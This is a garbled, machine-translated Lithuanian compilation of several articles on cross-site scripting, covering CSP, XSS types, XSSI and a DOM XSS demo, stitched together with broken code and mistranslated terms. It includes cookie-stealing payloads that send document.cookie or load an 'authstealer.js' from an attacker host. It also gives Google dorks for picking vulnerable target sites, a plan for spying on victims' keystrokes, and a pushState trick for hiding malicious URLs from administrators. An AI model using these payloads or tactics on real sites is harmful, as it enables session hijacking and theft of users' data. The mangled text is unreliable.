    Pagrindinio kompiuterio pavadinimas gali prasidėti *, o tai reiškia, kad bus išspręstas bet kuris pateikto pagrindinio kompiuterio pavadinimo padomenis. Panašiai prievado numeris gali būti pavaizduotas kaip *, o tai reiškia, kad visi prievadai bus leidžiami. Be to, protokolas ir prievado numeris gali būti praleisti. Jei nenurodytas joks protokolas, politika reikalauja, kad visi ištekliai būtų įkeliami naudojant HTTPS.

    Be anksčiau pateiktos sintaksės, šaltinio išraiška gali būti viena iš keturių raktinius žodžius su ypatinga prasme (įtrauktos citatos):

    "nėra" išjungia išteklius. „self“ leidžia išteklius iš pagrindinio kompiuterio, kuriame yra tinklalapis. „nesafe-inline“ išsprendžia puslapyje esančius išteklius kaip įterptuosius elementus, elementus ir „Javascript“: URL. "unsafe-eval" įgalina JavaScript funkciją eval .

    Atminkite, kad naudojant CSP, integruoti ištekliai ir eval automatiškai išjungiami pagal numatytuosius nustatymus. Vienintelis būdas juos naudoti yra „nesafe-inline“ ir „nesafe-eval“.

    Politikos pavyzdys

    Turinio saugumo politika:
    script-src "savarankiškas" scripts.example.com;
    media-src "nėra";
    img-src *;
    default-src „self“ http://*.example.com

    Taikant šią politikos pavyzdį, tinklalapiui bus taikomi šie apribojimai:

    • Scenarijus galima atsisiųsti tik iš pagrindinio kompiuterio, kuriame yra tinklalapis, ir iš šio adreso: scripts.example.com.
    • Garso ir vaizdo failus atsisiųsti draudžiama.
    • Vaizdo failus galima atsisiųsti iš bet kurio adreso.
    • Visus kitus išteklius galima įkelti tik iš pagrindinio kompiuterio, kuriame yra tinklalapis, ir iš bet kurio example.com padomenio.
    CSP būsena

    Nuo 2013 m. birželio mėn. turinio saugos politiką rekomenduoja W3C konsorciumas. CSP įdiegia naršyklių kūrėjai, tačiau kai kurios jo dalys yra būdingos skirtingoms naršyklėms. Pavyzdžiui, HTTP antraštės naudojimas įvairiose naršyklėse gali skirtis. Prieš naudodami CSP, peržiūrėkite naršyklių, kurias planuojate palaikyti, dokumentaciją.

    Santrauka Santrauka: XSS apžvalga
    • XSS ataka yra kodo įpurškimo ataka, kurią galima padaryti dėl nesaugaus vartotojo įvesties apdorojimo.
    • Sėkminga XSS ataka leidžia užpuolikui aukos naršyklėje vykdyti kenkėjišką JavaScript.
    • Sėkminga XSS ataka kelia pavojų tiek svetainės, tiek jos vartotojų saugumui.
    Santrauka: XSS atakos
    • Yra trys pagrindiniai XSS atakų tipai:
      • Saugomas XSS, kur kenkėjiška įvestis kyla iš svetainės duomenų bazės.
      • Atsispindi XSS, kur kenkėjiška įvestis kyla iš aukos prašymo.
      • XSS atakos DOM, kur pažeidžiamumas išnaudojamas kode kliento, o ne serverio pusėje.
    • Visos šios atakos atliekamos skirtingai, tačiau sėkmingos jų poveikis yra toks pat.
    Santrauka: XSS prevencija
    • Dauguma svarbus būdas XSS atakų prevencija yra saugus įvesties apdorojimas.
      • Kodavimas turi būti atliktas kiekvieną kartą, kai puslapyje įgalinta vartotojo įvestis.
      • Kai kuriais atvejais kodavimą reikia pakeisti arba papildyti patvirtinimu.
      • Saugus įvesties apdorojimas turi atsižvelgti į tai, į kokį puslapio kontekstą įterpiama vartotojo įvestis.
      • Siekiant užkirsti kelią visų tipų XSS atakoms, saugus įvesties apdorojimas turi būti atliktas tiek kliento, tiek serverio pusėse.
    • Turinio saugos politika (CSP) suteikia papildomą apsaugos lygį tuo atveju, jei saugiame įvesties apdorojime yra klaida.
    Priedas Terminija

    Reikėtų pažymėti, kad XSS apibūdinti vartojama terminologija yra kryžminė: XSS ataka DOM gali būti saugoma arba atspindėta; Tai nėra atskiri atakų tipai. Nėra visuotinai priimtos terminijos, kuri be painiavos apimtų visus XSS tipus. Nepriklausomai nuo XSS apibūdinimo vartojamos terminijos, svarbiausia yra nustatyti atakos tipą, tai įmanoma, jei žinote, iš kur ateina kenkėjiška įvestis ir kur yra pažeidžiamumas.

    Naudojimo teisės ir nuorodos

    Šaltinio kodas, skirtas Perteklinis XSS yra prieinama GitHub.

    Perteklinis XSS buvo sukurtas 2013 m. kaip Chalmers technologijos universiteto kalbomis pagrįsto saugumo kurso dalis.

    Į rusų kalbą išvertė A888R, originalus tekstas k Anglų kalba: extra-xss.com, komentarus, pasiūlymus ir vertimo klaidas siųskite čia.

    Kelių svetainių scenarijų kūrimas (sutrumpintai XSS) yra plačiai paplitęs pažeidžiamumas, turintis įtakos daugeliui žiniatinklio programų. Tai leidžia užpuolikui įterpti kenkėjišką kodą į svetainę taip, kad svetainėje besilankančio vartotojo naršyklė vykdytų kodą.

    Paprastai norint išnaudoti tokį pažeidžiamumą, reikia tam tikros sąveikos su vartotoju: arba jie yra priviliojami į užkrėstą svetainę naudojant socialinę inžineriją, arba tiesiog laukia, kol vartotojas apsilankys svetainėje. Todėl kūrėjai dažnai rimtai nežiūri į XSS pažeidžiamumą.

    Tačiau jei jie nebus sprendžiami, jie gali kelti rimtą pavojų saugumui.

    Įsivaizduokime, kad esame „WordPress“ administratoriaus skydelyje ir pridedame naują turinį. Jei tam naudosime XSS pažeidžiamą įskiepį, jis gali priversti naršyklę sukurti naują administratorių, modifikuoti turinį ir atlikti kitus kenkėjiškus veiksmus. Kelių svetainių scenarijus užpuolikui suteikia praktiškai visiška kontrolė per svarbiausią programinė įrangašiais laikais – naršyklė.

    XSS: injekcijos pažeidžiamumas

    Bet kurioje svetainėje ar programoje yra kelios vietos duomenims įvesti – formos laukai iki paties URL. Paprasčiausias pavyzdysįvesti duomenis – kai įvedame vartotojo vardą ir slaptažodį formoje:

    Mūsų vardas bus saugomas svetainės duomenų bazėje, kad galėtume vėliau bendrauti su mumis. Žinoma, kai prisijungėte prie bet kurios svetainės, pamatėte asmeninį sveikinimą „Sveiki, Ilja“.

    Būtent tokiais tikslais duomenų bazėje yra saugomi vartotojų vardai.

    Įpurškimas – tai procedūra, kai vietoj vardo ar slaptažodžio įvedama speciali simbolių seka, priverčianti serverį ar naršyklę reaguoti tam tikru užpuoliko pageidaujamu būdu.

    Kelių svetainių scenarijų kūrimas yra injekcija, kuri įveda kodą, kuris atliks veiksmus naršyklėje svetainės vardu. Tai gali nutikti pranešus vartotojui arba fone, be jo žinios.

    Tradicinės XSS atakos: atspindėtos (nepatvarios).

    Atsispindi XSS ataka suveikia, kai vartotojas spusteli specialiai sukurtą nuorodą.

    Šie pažeidžiamumai atsiranda, kai žiniatinklio kliento pateikiami duomenys, dažniausiai HTTP užklausos parametruose arba HTML forma, vykdomi tiesiogiai serverio scenarijais, kad būtų galima išanalizuoti ir parodyti to kliento rezultatų puslapį be tinkamo apdorojimo.

    Saugomas (patvarus).

    Išsaugotas XSS galimas, kai užpuolikui pavyksta į serverį įvesti kenkėjišką kodą, kuris vykdomas naršyklėje kiekvieną kartą, kai pasiekiamas pradinis puslapis. Klasikinis šio pažeidžiamumo pavyzdys yra forumai, kuriuose galima komentuoti HTML.

    Pažeidžiamumas, kurį sukelia kliento kodas (JavaScript, Visual Basic, Flash ir tt): taip pat žinomas kaip DOM: atspindėtas (nepatvarus).

    Tas pats kaip ir serverio pusės atveju, tik tokiu atveju ataka galima dėl to, kad kodą apdoroja naršyklė.

    Saugomas (patvarus).

    Panašiai kaip saugomas XSS serverio pusėje, tik tokiu atveju kenkėjiškas komponentas yra saugomas kliento pusė naudojant naršyklės saugyklą.

    XSS pažeidžiamumų pavyzdžiai.

    Įdomu tai, kad daugeliu atvejų, kai aprašomas šis pažeidžiamumas, mus gąsdina toks kodas:

    Http://www.site.com/page.php?var=alert("xss");

    Yra dviejų tipų XSS pažeidžiamumas – pasyvus ir aktyvus.

    Aktyvus pažeidžiamumas yra pavojingesnis, nes užpuolikui nereikia vilioti aukos naudojant specialią nuorodą, jam tereikia įvesti kodą į duomenų bazę arba kokį nors serveryje esantį failą. Taigi visi svetainės lankytojai automatiškai tampa aukomis. Jis gali būti integruotas, pavyzdžiui, naudojant SQL injekciją. Todėl neturėtumėte pasitikėti duomenų bazėje saugomais duomenimis, net jei jie buvo apdoroti įvedimo metu.

    Pavyzdys pasyvus pažeidžiamumas Tai galite pamatyti pačioje straipsnio pradžioje. Tam jau reikalinga socialinė inžinerija, pavyzdžiui, svarbus svetainės administracijos laiškas, kuriame prašoma patikrinti paskyros nustatymus po atkūrimo iš atsarginės kopijos. Atitinkamai, jūs turite žinoti aukos adresą arba tiesiog pasirūpinti el. pašto šiukšlių siuntimu ar paskelbti kokiame nors forume, ir tai nėra faktas, kad aukos bus naivokos ir sektų jūsų nuorodą.

    Be to, tiek POST, tiek GET parametrai gali būti jautrūs pasyviam pažeidžiamumui. Su POST parametrais, žinoma, turėsite griebtis gudrybių. Pavyzdžiui, peradresavimas iš užpuoliko svetainės.

    document.getElementsByTagName("forma").submit();

    Todėl GET pažeidžiamumas yra šiek tiek pavojingesnis, nes... Aukai lengviau pastebėti neteisingą domeną nei papildomą parametrą (nors url paprastai gali būti užkoduotas).

    Slapukų vagystė

    Tai dažniausiai minimas XSS atakos pavyzdys. Svetainėse kartais Slapukuose saugoma tam tikra vertinga informacija (kartais net vartotojo prisijungimo vardas ir slaptažodis (arba jo maiša)), tačiau pavojingiausia yra aktyvios sesijos vagystė, todėl nepamirškite svetainėse paspausti nuorodą „Išeiti“, net jei tai namų kompiuteris. Laimei, daugumos išteklių seanso trukmė yra ribota.

    Var img = naujas vaizdas(); img.srс = "http://site/xss.php?" + dokumentas.slapukas;

    Štai kodėl jie įvedė domeno apribojimus XMLHttpRequest, tačiau tai nėra problema užpuolikui, nes yra, , , fonas:url(); ir taip toliau.

    Duomenų vagystė iš formų

    Formos ieškome naudodami, pavyzdžiui, getElementById ir stebime onsubmit įvykį. Dabar, prieš pateikiant formą, įvesti duomenys taip pat siunčiami į užpuoliko serverį.

    Toks atakų tipas kažkuo primena sukčiavimą, tik naudojasi tikra svetaine, o ne netikra, o tai įkvepia daugiau pasitikėjimo aukai.

    DDoS ataka (paskirstyta paslaugų atsisakymo ataka)

    Daug lankomų išteklių XSS pažeidžiamumas gali būti naudojamas DDoS atakai pradėti. Esmė paprasta – yra daug užklausų, kurių užpultas serveris negali atlaikyti.
    Tiesą sakant, ryšys su XSS yra netiesioginis, nes scenarijai gali būti visai nenaudojami, užtenka tokios konstrukcijos:

    Kokie yra XSS pavojai?

    Kaip galite apsaugoti savo svetainę nuo XSS? Kaip patikrinti, ar kode nėra pažeidžiamumų? Yra tokių technologijų kaip „Sucuri Firewall“, kurios yra specialiai sukurtos tokių atakų išvengti. Tačiau jei esate kūrėjas, tikrai norėsite sužinoti daugiau apie tai, kaip nustatyti ir sumažinti XSS spragas.

    Apie tai kalbėsime kitoje straipsnio apie XSS dalyje.

    Apie galimybę gauti įvairios informacijos iš trečiųjų šalių svetainių naudojant paprastą ataką – Cross Site Scripting Inclusion (XSSI).

    Jei sistemingai skaitote „Easy Hack“, tikriausiai jau esate gerai susipažinę su ta pačia kilmės politika (SOP), dažnai prie jos grįžtame. Dėl SOP galimybės bendrauti tarp dviejų „svetainių“ yra labai ribotos. Tačiau kadangi dažnai iškyla užduotis gauti ir siųsti informaciją vienoje svetainėje iš kitos, mes pristatėme įvairių metodų„sušvelninti“ politiką ir organizuoti sąveiką. Pavyzdžiui, CORS arba crossdomain.xml. Vienas iš senesnių metodų yra JavaScript įkėlimas iš kito domeno per . SOP čia mūsų niekaip neriboja: galite nurodyti beveik savavališką vietą.

    Pavyzdžiui, yra užpuoliko šeimininkas evil.ru ir aukos svetainė - áldozat.com. evil.ru galime įdėti HTML failą ir nuorodą į bet kurį aukos scenarijų:

    Kai vartotojas įeina į užpuoliko svetainę, naršyklė įkelia ir paleis JS iš áldozat.com, tačiau SOP evil.ru kontekste. Tai reiškia, kad iš užpuoliko JS galėsime pasiekti (ne visus) JS duomenis iš aukos serverio.

    Pavyzdžiui, JS turinys iš aukos svetainės (http://victim.com/any_script_.js):

    Var a = "12345";

    Tada užpuoliko svetainėje galime gauti kintamojo reikšmę:

    console.log(a);

    Darbo idėja paprasta kaip aliuminio virdulys.

    Tiesą sakant, galimybė įkelti statinį JS iš kitų svetainių nekelia daugiau problemų nukentėjusiajai svetainei nei vaizdo įkėlimas.

    Problemų gali kilti, kai JS generuojamas dinamiškai, tai yra, kai JS scenarijaus turinys keičiasi pagal duomenis iš slapuko, priklausomai nuo to, kuris vartotojas jį pasiekia. Pavyzdžiui, JS saugo tam tikrą „kritinę“ informaciją: asmeninę informaciją (el. paštą, naudotojo vardą aukos svetainėje) arba techninę informaciją (anti-CSRF žetonus).

    Tačiau, kaip žinome, įkeliant scenarijų per žymą, vartotojo naršyklė automatiškai siunčia slapuką vartotojui. Sudėjus šiuos faktus, galime gauti informacijos apie bet kurį vartotoją, kuris apsilankė užpuoliko svetainėje ir yra prisijungęs prie aukos svetainės.

    Ką galime sužinoti? Globalūs kintamieji ir globalių funkcijų rezultatai. Deja, mes negalėsime pasiekti vidinių kintamųjų / funkcijų (nors galbūt kas nors ras būdą, kaip tai padaryti).

    Funkcijų testas())( grąžina "privačių duomenų funkcija"; )

    Atrodo, kad šis išpuolis įmanomas, bet atrodo pernelyg paprastas ir neturėtų būti įprastas. Dėl to Black Hat pristatymas yra įdomus. Tyrėjai išanalizavo 150 populiarių svetainių ir nustatė, kad trečdalis jų buvo tam tikru mastu pažeidžiamos. Ši statistika verčia pažvelgti į problemą šiek tiek atidžiau.

    Taip pat buvo atskleistas kitas modelis. Turinio saugumo politika tampa vis dažnesnė. Kaip žinote, su juo galime nurodyti, iš kurių domenų galima įkelti tą ar kitą resursą. Pavyzdžiui, galite pasakyti, kad JS vykdomas tik iš to paties šaltinio. Be to, geriausia CSP nustatymo praktika apima draudimą vykdyti tiesioginį JS (ty kodą, kuris yra tiesiogiai HTML, o ne įkeliamas iš JS failo).

    Tačiau tiesioginis perkėlimas į failus gali būti atliekamas naudojant ramentus ir ant jų greitas pataisymas- tai yra per dinamiškai generuojamus scenarijus. Kadangi CSP neturi jokios įtakos XSSI, mes vėl galime vykdyti atakas. Tai tokia bloga praktika.

    Kryžminis scenarijus (XSS) yra pažeidžiamumas, susijęs su kliento kodo (JavaScript) įvedimu į kitų vartotojų peržiūrimą tinklalapį.

    Pažeidžiamumas atsirado dėl nepakankamo duomenų, kuriuos vartotojas pateikia įterpti į tinklalapį, filtravimo. Daug lengviau suprasti konkretus pavyzdys. Prisiminkite bet kurį svečių knyga- tai programos, skirtos priimti duomenis iš vartotojo ir tada juos rodyti. Įsivaizduokime, kad svečių knyga jokiu būdu netikrina ir nefiltruoja įvestų duomenų, o tiesiog juos parodo.

    Galite nubrėžti savo paprasčiausią scenarijų (nėra nieko lengviau nei rašyti blogus scenarijus PHP – daugelis žmonių tai daro). Tačiau jau yra daug paruoštų variantų. Pavyzdžiui, siūlau pradėti nuo Dojo ir OWASP Mutillidae II. Ten yra panašus pavyzdys. Atskiroje Dojo aplinkoje eikite į šią nuorodą savo naršyklėje: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    Jei vienas iš vartotojų įvedė:

    Tada tinklalapyje bus rodoma:

    Sveiki! Man patinka jūsų svetainė.

    Ir jei vartotojas įveda tai:

    Sveiki! Man patinka jūsų site.alert("Pwned")

    Tada jis bus rodomas taip:

    Naršyklės išsaugo daug slapukų, skirtų daugeliui svetainių. Kiekviena svetainė gali gauti tik jos pačios išsaugotus slapukus. Pavyzdžiui, example.com jūsų naršyklėje išsaugojo kai kuriuos slapukus. Jei lankotės other.com, ši svetainė (kliento ir serverio scenarijai) negali pasiekti example.com išsaugotų slapukų.

    Jei example.com yra pažeidžiamas XSS, tai reiškia, kad galime kažkaip į jį įterpti JavaScript kodą ir tas kodas bus vykdomas example.com vardu! Tie. Šis kodas, pavyzdžiui, pasieks example.com slapukus.

    Manau, visi prisimena, kad JavaScript vykdomas vartotojų naršyklėse, t.y. esant XSS, įdėtas kenkėjiškas kodas įgyja prieigą prie vartotojo, kuris atidarė svetainės puslapį, duomenų.

    Įdėtasis kodas gali padaryti viską, ką gali „JavaScript“, būtent:

    • įgyja prieigą prie jūsų peržiūrimos svetainės slapukų
    • gali atlikti bet kokius pakeitimus išvaizda puslapių
    • pasiekia mainų sritį
    • gali įdiegti „JavaScript“ programas, pavyzdžiui, klavišų kaupiklius (klavišų paspaudimų perėmėjus)
    • pasiimti jautienos
    • ir kt.

    Paprasčiausias slapukų pavyzdys:

    įspėjimas (dokumentas.slapukas)

    Tiesą sakant, perspėjimas naudojamas tik XSS aptikti. Tikrasis kenksmingas krovinys vykdomas paslėptus veiksmus. Ji slapta bendrauja nuotolinis serveris užpuolikas ir perduoda jam pavogtus duomenis.

    XSS tipai

    Svarbiausias dalykas, kurį reikia suprasti apie XSS tipus, yra tai, kad jie yra:

    • Saugomas (nuolatinis)
    • Atspindėtas (nestovus)

    Konstantų pavyzdys:

    • Specialiai sukurtas pranešimas, kurį užpuolikas įvedė į svečių knygą (komentaras, forumo žinutė, profilis), kuris išsaugomas serveryje, atsisiunčiamas iš serverio kiekvieną kartą, kai vartotojai prašo rodyti šį puslapį.
    • Užpuolikas gavo prieigą prie serverio duomenų, pavyzdžiui, per SQL injekciją, ir į vartotojui pateiktus duomenis įvedė kenkėjišką JavaScript kodą (su kilologeriais arba BeEF).

    Nenuolatinių pavyzdžių:

    • Svetainėje vykdoma paieška, kuri kartu su paieškos rezultatais rodo kažką panašaus į „Jūs ieškojote: [paieškos eilutė]“, o duomenys nėra tinkamai filtruojami. Kadangi toks puslapis rodomas tik asmeniui, turinčiam nuorodą į jį, ataka neveiks tol, kol užpuolikas neišsiųs nuorodos kitiems svetainės vartotojams. Užuot siuntę nuorodą aukai, galite panaudoti kenksmingo scenarijaus patalpinimą neutralioje svetainėje, kurioje auka lankosi.

    Jie taip pat išskiria (kai kurie kaip nenuolatinio XSS pažeidžiamumo tipas, kiti sako, kad šis tipas taip pat gali būti nuolatinio XSS tipas):

    • DOM modeliai
    DOM pagrįstos XSS savybės

    Paprasčiau tariant, atidarę HTML kodą galime pamatyti kenkėjišką „įprasto“ nepaliaujamo XSS kodą. Pavyzdžiui, nuoroda formuojama taip:

    Http://example.com/search.php?q="/>alert(1)

    Ir kai atidarome šaltinio HTML kodą, matome kažką panašaus:

    įspėjimas(1)" /> Rasti

    O DOM XSS pakeičia DOM struktūrą, kuri formuojama naršyklėje skrydžio metu, o kenkėjišką kodą matome tik peržiūrėdami sugeneruotą DOM struktūrą. HTML nesikeičia. Paimkime šį kodą kaip pavyzdį:

    site:::DOM XSS Įvyko klaida... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Jūsų seanso ID buvo: " + display_session + "

    ")

    Tada naršyklėje pamatysime:

    Puslapio šaltinio kodas:

    Adresą suformuokime taip:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Dabar puslapis atrodo taip:

    Tačiau pažvelkime į HTML šaltinio kodą:

    Ten visiškai niekas nepasikeitė. Štai apie ką aš kalbėjau, norėdami nustatyti kenkėjišką kodą, turime pažvelgti į dokumento DOM struktūrą:

    Čia yra veikiantis XSS prototipas, tikram atakai mums reikia sudėtingesnės naudingosios apkrovos, o tai neįmanoma dėl to, kad programa nustoja skaityti iškart po kabliataškio, o kažkas panašaus į alert(1);alert(2) nėra galima ilgiau. Tačiau dėl unescape() grąžinimo duomenyse galime naudoti tokį naudingą krovinį:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Kur pakeitėme simbolį ; į URI koduotą atitikmenį!

    Dabar galime parašyti kenkėjišką „JavaScript“ naudingąjį apkrovą ir sukurti nuorodą, kurią nusiunčiame aukai, kaip tai daroma naudojant standartinius nenuolatinius scenarijus įvairiose svetainėse.

    XSS auditorius

    IN Google Chrome(ir operoje, kuri dabar naudoja Google Chrome variklį), manęs laukė ši staigmena:

    dom_xss.html:30 XSS auditorius atsisakė vykdyti scenarijų "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" nes jo šaltinio kodas buvo rastas užklausoje. Auditorius buvo įjungtas, nes serveris nesiuntė nei „X-XSS-Protection“, nei „Content-Security-Policy“ antraštės.

    Tie. naršyklėje dabar yra XSS auditorius, kuris bandys užkirsti kelią XSS. Firefox šios funkcijos dar neturi, bet manau, kad tai laiko klausimas. Jei diegimas naršyklėse sėkmingas, galime kalbėti apie didelius XSS naudojimo sunkumus.

    Gera tai prisiminti šiuolaikinės naršyklės imasi veiksmų, kad apribotų tokių problemų, kaip nenuolatinis XSS ir DOM pagrįstas XSS, išnaudojimo lygį. Tai taip pat reikia atsiminti bandant svetaines naudojant naršyklę – gali pasirodyti, kad žiniatinklio programa yra pažeidžiama, tačiau iššokančiojo patvirtinimo nematote tik todėl, kad naršyklė ją blokuoja.

    XSS išnaudojimo pavyzdžiai

    Užpuolikai, norintys išnaudoti kelių svetainių scenarijų pažeidžiamumą, kiekvieną pažeidžiamumo klasę turi vertinti skirtingai. Čia aprašyti kiekvienos klasės atakų vektoriai.

    Dėl XSS pažeidžiamumo atakoms gali būti naudojamas BeEF, kuris išplečia ataką iš svetainės į vartotojų vietinę aplinką.

    Nenutrūkstamos XSS atakos pavyzdys

    1. Alisa dažnai lankosi tam tikroje svetainėje, kurią priglobia Bobas. Bobo svetainė leidžia Alice prisijungti naudojant vartotojo vardą / slaptažodį ir saugoti slaptus duomenis, pvz., mokėjimo informaciją. Vartotojui prisijungus, naršyklė išsaugo autorizacijos slapukus, kurie atrodo kaip beprasmiai simboliai, t.y. abu kompiuteriai (klientas ir serveris) prisimena, kad ji įėjo.

    2. Mallory pažymi, kad Bobo svetainėje yra nuolatinis XSS pažeidžiamumas:

    2.1 Kai lankotės paieškos puslapyje, įveskite paieškos eilutę ir spustelėkite pateikimo mygtuką. Jei rezultatų nerasta, puslapyje bus rodoma įvesta paieškos eilutė, po kurios eina žodžiai „nerasta“, o URL atrodo kaip http://bobssite .org?q= ją paieškos užklausą

    2.2 Naudojant įprastą paieškos užklausą, pvz., žodį „šunys“, puslapyje tiesiog rodoma „šunų nerasta“ ir url http://bobssite.org?q=dogs, o tai yra gana įprastas elgesys.

    2.3 Tačiau, kai anomali paieškos užklausa, pvz., alert("xss"); :

    2.3.1 Pasirodo įspėjamasis pranešimas (kuriame rašoma „xss“).

    2.3.2 Puslapyje rodomas įspėjimas ("xss"); nerastas kartu su klaidos pranešimu su tekstu "xss".

    2.3.3 url tinkamas eksploatuoti http://bobssite.org?q=alert("xss");

    3. Mallory sukuria URL, kad išnaudotų pažeidžiamumą:

    3.1 Ji sukuria URL http://bobssite.org?q=puppies. Ji gali pasirinkti konvertuoti ASCII simbolius į šešioliktainį formatą, pvz., http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kad žmonės iš karto neiššifruotų kenkėjiško URL.

    3.2 Ji siunčia el. laišką kai kuriems nieko neįtariantiems Bobo svetainės nariams sakydama: „Pažiūrėkite į šaunius šunis“.

    4. Alisa gauna laišką. Ji myli šunis ir paspaudžia nuorodą. Ji nueina į Bobo svetainę ieškodama, nieko neranda, rodo „nerastas šuo“, o pačiame viduryje paleidžiama žyma su scenarijumi (jis nematomas ekrane), atsisiunčia ir paleidžia Mallory programos authstealer. .js (suaktyvinta XSS atakos). Alisa apie tai pamiršta.

    5. Programa authstealer.js veikia Alisos naršyklėje taip, lyg ji būtų kilusi iš Bobo svetainės. Ji paima Alisos autorizacijos slapukų kopiją ir nusiunčia juos į Malory serverį, kur Malory juos nuskaito.

    7. Dabar, kai Malorie yra viduje, ji nueina į svetainės mokėjimo skyrių, pasižiūri ir pavagia Alisos kredito kortelės numerio kopiją. Tada ji nueina ir pakeičia slaptažodį, t.y. Dabar Alisa net nebegali įeiti.

    8. Ji nusprendžia žengti kitą žingsnį ir nusiunčia tokiu būdu sukurtą nuorodą pačiam Bobui ir taip gauna Bobo svetainės administravimo teises.

    Nuolatinė XSS ataka

  • Mallory turi paskyrą Bobo svetainėje.
  • Mallory pastebi, kad Bobo svetainėje yra nuolatinis XSS pažeidžiamumas. Jei eisi į naujas skyrius, paskelbiate komentarą, jame rodoma viskas, kas jame įvesta. Bet jei komentaro tekste yra HTML žymų, šios žymos bus pateiktos tokios, kokios yra, ir bus vykdomos visos scenarijaus žymos.
  • Mallory skaito straipsnį Naujienų skiltyje ir rašo komentarą skiltyje Komentarai. Komentare ji įterpia tekstą:
  • Man labai patiko šios istorijos šunys. Jie tokie mieli!
  • Kai Alisa (ar kas nors kitas) įkelia puslapį su šiuo komentaru, paleidžiama Malory scenarijaus žyma ir pavagia Alisos autorizacijos slapuką, siunčiant jį į slaptąjį Malory serverį surinkti.
  • Mallory dabar gali užgrobti Alisos seansą ir apsimesti Alisa.
  • XSS pažeidžiamų svetainių radimas

    Dorks for XSS

    Pirmiausia reikia pasirinkti svetaines, kuriose vykdysime XSS atakas. Svetainių galima ieškoti naudojant Google dorks. Štai keletas šių dorkų, kuriuos galite nukopijuoti ir įklijuoti į „Google“ paiešką:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Prieš mus atsidarys svetainių sąrašas. Turite atidaryti svetainę ir rasti joje įvesties laukus, pvz., atsiliepimų formą, įvesties formą, svetainės paiešką ir kt.

    Iš karto norėčiau pažymėti, kad beveik nenaudinga ieškoti spragų populiariose automatiškai atnaujinamose žiniatinklio programose. Klasikinis tokios programos pavyzdys yra „WordPress“. Tiesą sakant, „WordPress“, o ypač jos papildiniuose, yra spragų. Be to, yra daug svetainių, kurios neatnaujina nei „WordPress“ variklio (dėl to, kai žiniatinklio valdytojas atliko kai kuriuos šaltinio kodo pakeitimus), nei jų papildinių ir temų (paprastai tai yra piratiniai papildiniai ir temos). Bet jei perskaitysite šią skiltį ir sužinosite iš jos ko nors naujo, tai WordPress dar ne jums... Prie jo tikrai grįšime vėliau.

    Geriausi tikslai yra įvairūs savarankiškai parašyti varikliai ir scenarijai.

    Galite pasirinkti įdėklą naudingą apkrovą kaip

    įspėjimas (1)

    Atkreipkite dėmesį į tai, į kurias HTML kodo žymas patenka jūsų įdėtasis kodas. Čia yra tipinio įvesties lauko pavyzdys:

    įspėjimas (1)

    Mūsų krovinys atsidurs ten, kur dabar yra žodis „pagalvės užvalkalas“. Tie. virsta įvesties žymos verte. Galime to išvengti – uždarome dvigubą kabutę, o tada pačią žymą su „/>“.

    "> perspėjimas (1)

    Pabandykime su kokia nors svetaine:

    Puiku, yra pažeidžiamumas

    Programos, skirtos XSS pažeidžiamumui ieškoti ir nuskaityti

    Tikriausiai visi žiniatinklio programų skaitytuvai turi įmontuotą XSS pažeidžiamumo skaitytuvą. Ši tema nėra išsami, geriau susipažinti su kiekvienu panašiu skaitytuvu.

    Visi seniai žino, kad dažniausiai naudodamas XSS užpuolikas bando nusiųsti aukai slapuką, nuskaityti CSRF žetonus, įvykdyti sukčiavimo ataką (sukurdamas netikrą prisijungimo formą), atlikti kokį nors veiksmą vartotojo vardu ir kai kurios kitos panašios atakos (galbūt tai dar ne visos galimybės, bet tai visos populiariausios man žinomos Šis momentas).

    Šio metodo tikslas yra stebėti puslapius vartotojo vardu, kuriuos jis naršo užpultoje svetainėje, taip pat stebėti jo klavišų paspaudimus (taip pat galite naudoti pelės judesius ir paspaudimus, bet man tai bus nereikalinga, ne itin naudinga informacija, daugeliu atvejų tikrai).
    Dabar apie maksimalią naudą - manau, kad algoritmas bus toks:

    • skaityti ir siųsti slapukus;
    • perskaityti ir išsiųsti likusią informaciją (IP adresą, įdiegti papildiniai, naršyklės versija ir tipas, „flash“ palaikymas, „Silverlight“ palaikymas ir kt.) [pasirenkama]
    • gauti informacijos apie vidinį tinklą, įsiskverbti į maršrutizatorių [neprivaloma]
    • skaityti ir siųsti skirtingus žetonus [neprivaloma];
    • įgyvendinti sukčiavimą [neprivaloma];
    • ką nors darome „vartotojo rankomis“ [neprivaloma];
    • mes toliau jį šnipinėjame ir gauname informaciją, kol jis uždaro skirtuką arba išeina iš svetainės;

    Visi pasirenkami sąrašo elementai IMHO turėtų būti atliekami atsižvelgiant į situaciją ir konkrečius tikslų prioritetus, kuriuos reikia pasiekti naudojant XSS, jie kartais gali trukdyti vienas kitam (jei bandote juos sujungti, o tiksliau vykdyti vienas po kito) ir padidinti XSS veikimo gedimo tikimybę.
    Bet pirmas ir paskutinis punktai visada turi būti įvykdyti, bet kokiu atveju pagrindinė straipsnio dalis bus apie paskutinį šio sąrašo tašką.

    Artėjame prie tikslo.

    Pradėsiu nuo tolo: per JavaScript galima pakeisti kelią adreso juosta neperkraunant puslapio. Pavyzdžiui, jei vartotojas įkėlė puslapį adresu


    Tada turinys adreso juostoje bus toks (neperkraunant puslapio):

    http://site.com/new-url/


    Ši funkcija, beje, kartais labai praverčia, kai reikia pasislėpti nuo vartotojų (ar dėmesingesnės vartotojų kategorijos – administratorių), greitai išvalant URL jiems spustelėjus nuorodą, kurioje yra Reflected XSS, kad vėliau įkėlus puslapį, pažiūrėjus adreso juostoje nieko nerado.

    http://site.com/search.php?q=123 dokumentas. kūnas. innerHTML += "Nulaužta" ;

    http://site.com/search.php?q=123 langas. istorija. pushState ("" , "" , "/" ); dokumentas. kūnas. innerHTML += "Nulaužta" ;


    atimsime iš jo šią galimybę.

